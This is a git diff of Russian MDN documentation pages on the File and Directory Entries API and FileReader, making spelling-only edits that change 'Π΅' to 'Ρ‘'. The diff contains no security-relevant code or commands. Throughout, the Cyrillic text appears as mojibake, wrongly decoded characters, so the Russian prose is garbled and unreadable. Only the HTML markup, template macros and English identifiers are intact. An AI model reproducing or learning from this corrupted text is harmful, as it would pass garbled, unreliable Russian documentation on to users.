-<p>Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΉ API слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Β {{domxref("Worker")}}-Π°Ρ…; эти Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡Π°Ρ‚ своС Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΈ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ вмСсто использования колбэков. ИспользованиС ΠΈΡ… Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΏΠΎΡΠ»ΡƒΡˆΠ½ΠΎ.Β Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС интСрфСйсы Π½ΠΈΠΆΠ΅ ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‚ интСрфСйсы асинхронного API.</p>
+<p>Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½Ρ‹ΠΉ API слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Β {{domxref("Worker")}}-Π°Ρ…; эти Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π·Π°ΠΊΠΎΠ½Ρ‡Π°Ρ‚ своё Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ΠΈ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ вмСсто использования колбэков. ИспользованиС ΠΈΡ… Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΏΠΎΡΠ»ΡƒΡˆΠ½ΠΎ.Β Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС интСрфСйсы Π½ΠΈΠΆΠ΅ ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‚ интСрфСйсы асинхронного API.</p>
<dl>
<dt>{{domxref("FileSystemSync")}}</dt>
@@ -75,7 +75,7 @@ translation_of: Web/API/File_and_Directory_Entries_API
<dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС.</dd>
<dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интСрфСйс прСдоставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интСрфСйс прСдоставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°.</dd>
<dt>{{domxref("FileException")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, которая Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Ρ… синхронной Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы.</dd>
</dl>
diff --git a/files/ru/web/api/file_and_directory_entries_api/introduction/index.html b/files/ru/web/api/file_and_directory_entries_api/introduction/index.html
index fba2cad5c7..bd5a67aa08 100644
--- a/files/ru/web/api/file_and_directory_entries_api/introduction/index.html
+++ b/files/ru/web/api/file_and_directory_entries_api/introduction/index.html
@@ -8,7 +8,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅
<p><span class="seoSummary">API Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² эмулируСт для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ систСму. Π£ вас Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ создания ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Π² ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмС.</span></p>
-<p>API Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² взаимодСйствуСт с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ API. Оно Π±Ρ‹Π»ΠΎ создано Π½Π° основС File Writer API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ File API. КаТдоС API Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π”Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ интСрфСйсы ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹ΠΌ ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ скачком для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ большиС ΠΎΠ±ΡŠΠ΅ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Ρ….Β </p>
+<p>API Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² взаимодСйствуСт с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ API. Оно Π±Ρ‹Π»ΠΎ создано Π½Π° основС File Writer API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ File API. КаТдоС API Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Π”Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ интСрфСйсы ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹ΠΌ ΡΠ²ΠΎΠ»ΡŽΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΌ скачком для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ большиС ΠΎΠ±ΡŠΡ‘ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Ρ….Β </p>
<h2 id="Об_этом_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅">Об этом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅</h2>
@@ -37,7 +37,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅
<h3 id="API_Ρ„Π°ΠΉΠ»ΠΎΠ²_ΠΈ_ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ²_ΠΈ_Π΄Ρ€ΡƒΠ³ΠΈΠ΅_ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅_интСрфСйсы_хранСния_Π΄Π°Π½Π½Ρ‹Ρ…">API Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ интСрфСйсы хранСния Π΄Π°Π½Π½Ρ‹Ρ…</h3>
-<p>API Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² являСтся Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²ΠΎΠΉ для Π΄Ρ€ΡƒΠ³ΠΈΡ… интСрфСйсов хранСния Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (ΠΏΡ€ΠΈΠ·Π½Π°Π½ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ с 18 ноября 2010 Π³.) ΠΈ AppCache. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π΄Π°Π½Π½ΠΎΠ΅ API являСтся Π±ΠΎΠ»Π΅Π΅ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ большиС ΠΎΠ±ΡŠΠ΅ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ:</p>
+<p>API Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² являСтся Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²ΠΎΠΉ для Π΄Ρ€ΡƒΠ³ΠΈΡ… интСрфСйсов хранСния Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (ΠΏΡ€ΠΈΠ·Π½Π°Π½ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ с 18 ноября 2010 Π³.) ΠΈ AppCache. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π΄Π°Π½Π½ΠΎΠ΅ API являСтся Π±ΠΎΠ»Π΅Π΅ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ большиС ΠΎΠ±ΡŠΡ‘ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ:</p>
<ul>
<li>Π”Π°Π½Π½ΠΎΠ΅ API ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ хранСния Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π² Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°Ρ… использования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ…. НапримСр, Π΄Π°Π½Π½ΠΎΠ΅ API являСтся Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ Π² случаС хранСния ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ².</li>
@@ -52,7 +52,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅
<ul>
<li>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ с постоянной Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ.
<ul>
- <li>Когда Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π²Ρ‹Π±Ρ€Π°Π½ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π° сСрвСр, Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ пСсочницу ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΡƒΡŽ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.Β </li>
+ <li>Когда Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π²Ρ‹Π±Ρ€Π°Π½ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π° сСрвСр, Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ пСсочницу ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΡƒΡŽ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.Β </li>
<li>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ послС закрытия ΠΈΠ»ΠΈ Π°Π²Π°Ρ€ΠΈΠΉΠ½ΠΎΠ³ΠΎ сбоя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅ связи ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°.</li>
</ul>
</li>
diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html
index a65044776d..42cf4ee917 100644
--- a/files/ru/web/api/filereader/index.html
+++ b/files/ru/web/api/filereader/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/FileReader
<h2 id="ΠžΠ±Ρ‰Π°Ρ_информация">ΠžΠ±Ρ‰Π°Ρ информация</h2>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>FileReader</code> позволяСт Π²Π΅Π±-прилоТСниям асинхронно Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС Ρ„Π°ΠΉΠ»ΠΎΠ² (ΠΈΠ»ΠΈ Π±ΡƒΡ„Π΅Ρ€Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…), хранящиСся Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{domxref("File")}} ΠΈΠ»ΠΈ {{domxref("Blob")}}, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… задаСтся Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ для чтСния.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>FileReader</code> позволяСт Π²Π΅Π±-прилоТСниям асинхронно Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС Ρ„Π°ΠΉΠ»ΠΎΠ² (ΠΈΠ»ΠΈ Π±ΡƒΡ„Π΅Ρ€Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…), хранящиСся Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ {{domxref("File")}} ΠΈΠ»ΠΈ {{domxref("Blob")}}, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… задаётся Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ для чтСния.</p>
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ <code>File</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("FileList")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся ΠΊΠ°ΠΊ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("input")}}, Ρ‡Π΅Ρ€Π΅Π· drag and drop ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("DataTransfer")}}, ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>mozGetAsFile()</code>, ΠΌΠ΅Ρ‚ΠΎΠ΄Π° доступного Π² API элСмСнта {{domxref("HTMLCanvasElement")}}.</p>
@@ -37,7 +37,7 @@ translation_of: Web/API/FileReader
<dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
<dd>Число ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅ состояниС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>FileReader</code>. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ {{ anch("State constants") }}.</dd>
<dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
- <dd>Π”Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ„Π°ΠΉΠ»Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ опСрация чтСния, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… зависит ΠΎΡ‚ способа, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ процСсс Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½.</dd>
+ <dd>Π”Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ„Π°ΠΉΠ»Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ опСрация чтСния, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… зависит ΠΎΡ‚ способа, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ процСсс Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½.</dd>
</dl>
<h3 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°_событий">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° событий</h3>
@@ -64,7 +64,7 @@ translation_of: Web/API/FileReader
<h3 id="State_constants" name="State_constants">ΠšΠΎΠ½ΡΡ‚Π°Π½Ρ‚Ρ‹ состояния</h3>
<ul>
- <li><code>EMPTY </code> : <code>0</code> : Π”Π°Π½Π½Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹.</li>
+ <li><code>EMPTY </code> : <code>0</code> : Π”Π°Π½Π½Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹.</li>
<li><code>LOADING</code> : <code>1</code> : Π”Π°Π½Π½Ρ‹Π΅ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ.</li>
<li><code>DONE </code> : <code>2</code> : ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡ чтСния Π±Ρ‹Π»Π° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°.</li>
</ul>
@@ -118,7 +118,7 @@ translation_of: Web/API/FileReader
<ul>
<li>Π’ вСрсиях Gecko Π½ΠΈΠΆΠ΅ 2.0 beta 7 (Firefox 4.0 beta 7), всС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ {{ domxref("Blob") }} Π±Ρ‹Π»ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ {{ domxref("File") }}; Π² послСдствии это Π±Ρ‹Π»ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ, для соотвСтствия спСцификации.</li>
- <li>Π’ вСрсиях Gecko Π½ΠΈΠΆΠ΅ 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("FileError") }}. Π­Ρ‚ΠΎΡ‚ интСрфСйс Π±Ρ‹Π» ΡƒΠΏΡ€Π°Π·Π΄Π½Π΅Π½ ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ свойство <code>FileReader.error</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("DOMError") }}, Ρ‡Ρ‚ΠΎ соотвСтствуСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ FileAPI послСднСй спСцификации.</li>
